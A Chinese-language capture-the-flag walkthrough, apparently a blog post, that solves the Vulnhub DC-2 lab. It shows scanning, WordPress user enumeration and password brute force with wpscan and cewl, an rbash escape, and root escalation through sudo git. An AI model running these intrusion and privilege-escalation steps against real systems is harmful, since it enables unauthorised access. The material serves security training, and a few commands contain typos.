Vulnhub:DC-2

靶场信息:

靶场下载地址:http://www.five86.com/downloads/DC-2.zip

网络信息:

kali:192.168.0.25

靶机:192.168.0.

信息收集

扫描存活主机:

arp-scan -l

img

发现192.168.0.131存活

使用nmap进行更详细的扫描:

nmap -A 192.168.0.131 -O

img

可以看到该主机开放了http80服务和

中间件:Apache/2.4.10

flag1:ip地址重定向

访问一下http服务

img

访问http://192.168.0.131时,网站跳转到了dc-2

该技术是ip地址重定向,通过绑定主机名或域名与ip来达到解析的目的,可以屏蔽恶意网站或加快访问。

访问需要修改hosts文件

linux添加hosts文件的方法:

sudo bash -c ‘echo [ip] [跳转的地址] >> /ect/hosts’

在kali输入命令:

sudo bash -c 'echo 192.168.0.131 dc-2 > /etc/hosts'

# 或者修改/etc/hosts文件也是可以的
vim /etc/hosts
192.168.0.131 dc-2

img

增加重定向地址,即可正常访问web服务:
img

img

有一个flag,访问一下:
img

flag1提示:

你通常的单词表可能不起作用,所以,也许你只需要cewl。

cewl 是一个字典在线生成工具

密码越多越好,但有时你就是无法赢得所有的密码。

以一个人的身份登录以查看下一个标志。

如果找不到,请以另一个用户登录。

flag2:爆破用户进后台

使用dirb扫描目录,发现有一个/wp-admin/

img

访问,发现是一个登录页面:

img

上面提示我们需要用cewl生成密码字典,先使用wpscan进行用户枚举

使用wpscan扫描:

wpscan --url http://dc-2/ -e

img

img

扫描到了三个账号,分别是:admin、jerry、tom

有了账号还需要密码,新建一个txt文件做用户字典,然后使用cewl生成密码字典:

vim user.txt		# 新建txt作用户字典

admin
jerry
tom

img

┌──(root㉿kali)-[~/Documents]
└─# cewl http://dc-2/ -w user_passwd.txt		# 使用cewl生成密码字典
CeWL 6.1 (Max Length) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

img

最后使用wpscan进行爆破,或者使用burp是可以的:

┌──(root㉿kali)-[~/Documents]
└─# wpscan --url http://dc-2 -U user.txt -P user_passwd.txt

img

扫出了两个匹配的账号密码:

jerry/adipiscing
tom/parturient

返回登录页面http://dc-2/up-admin/,使用获取到的账号密码进行登录:

img

发现flag2:

img

如果你不能利用WordPress并走捷径,还有另一种方法。

希望你找到了另一个入口。

flag3

作者提示无法使用wordpress,也就是80端口,尝试一下从ssh服务,7744端口入手

需要使用tom用户才可以进行登录,jarry用户是无法进行登录的:

┌──(root㉿kali)-[~/Documents]
└─# ssh tom@192.168.0.131 -p 7744  
passwd:parturient

ls发现flag3.txt,权限不够无法查看

img

查看权限:

shell权限受限了,无法使用cat命令查看flag3.txt

img

尝试使用其他命令进行文件读取:

tom@DC-2:~$ cat flag3.txt
-rbash: cat: command not found

tom@DC-2:~$ more flag3.txt
-rbash: more: command not found

tom@DC-2:~$ /bin/cat flag3.txt
-rbash: /bin/cat: restricted: cannot specify `/' in command names

tom@DC-2:~$ head flag3.txt
-rbash: head: command not found

tom@DC-2:~$ tail flag3.txt
-rbash: tail: command not found

tom@DC-2:~$ less flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
flag3.txt (END)
# 可怜的老汤姆总是追着杰瑞跑。也许他应该为自己造成的压力而死。flag3.txt(结束)

使用less命令可以进行读取文件的查看,vi命令也可以

没看懂作者想表达什么,使用su切换jerry用户

tom@DC-2:~$ su jerry
-rbash: su: command not found

rbash"是一个名为"restricted bash"的工具,它是bash shell的一种受限版本

flag4 rbash绕过

查看当前的环境变量:

tom@DC-2:~$ echo $PATH
/home/tom/usr/bin

在/home/tom/usr/bin下,所以shell被限制了,导致不能执行所有的命令,

有两种可绕过的方式:

  • 转义环境变量的方式
vi test.txt
:set shell=/bin/bash
shell
  • 定义一个环境变量,再添加新的环境变量,可以得到一个shell
BASH_CMD[a]=/bin/sh;a
/bin/bash

这里使用环境变量的方法,比较快捷:

ztom@DC-2:~$ export PATH=$PATH:/bin/
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a
$ export PATH=$PATH:/bin/
$ export PATH=$PATH:/usr/bin
$ whoami
tom

img

rbash绕过之后就可以使用su登录到jerry

$ su jerry
Password: adipiscing
jerry@DC-2:/home/tom$ 

jerry@DC-2:/home/tom$ ls
ls: cannot open directory .: Permission denied
jerry@DC-2:/home/tom$ cd
jerry@DC-2:~$ ls
flag4.txt		# 发现flag4
jerry@DC-2:~$ cat flag4.txt
Good to see that you've made it this far - but you're not home yet. 

You still need to get the final flag (the only flag that really counts!!!).  

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!

很高兴看到您已经完成了这一步-但您还没有到家。
你仍然需要获得最终的旗帜(唯一真正重要的旗帜!!)这里没有提示——你现在要靠自己了。
:-)走吧-离开这里!!!!

作者说没有提示,但是他暗示我们可以使用git

flag5 git提权

sudo -l

jerry@DC-2:~$ sudo -l
Matching Defaults entries for jerry on DC-2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jerry may run the following commands on DC-2:
    (root) NOPASSWD: /usr/bin/git

提示不需要密码就可以使用git

sudo git help config
!/bin/bash

img

使用find命令查找带flag名的文件居然找不到,直接搜了所有.txt的文件,发现了一个flag.txt,打开,发现这是最后一个flag,也就是flag5

img

img

root@DC-2:/home/jerry# find / -type f -name "*txt*"
root@DC-2:/home/jerry# cat /root/final-flag.txt
 __    __     _ _       _                    _ 
/ / /\ \ \___| | |   __| | ___  _ __   ___  / \
\ \/  \/ / _ \ | |  / _` |/ _ \| '_ \ / _ \/  /
 \  /\  /  __/ | | | (_| | (_) | | | |  __/\_/ 
  \/  \/ \___|_|_|  \__,_|\___/|_| |_|\___\/   


Congratulatons!!!

A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.

If you enjoyed this CTF, send me a tweet via @DCAU7.

恭喜!!特别感谢所有给我发推特和提供反馈的人——我非常感激。

如果你喜欢这个CTF,请通过@DCAU7给我发一条推文。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值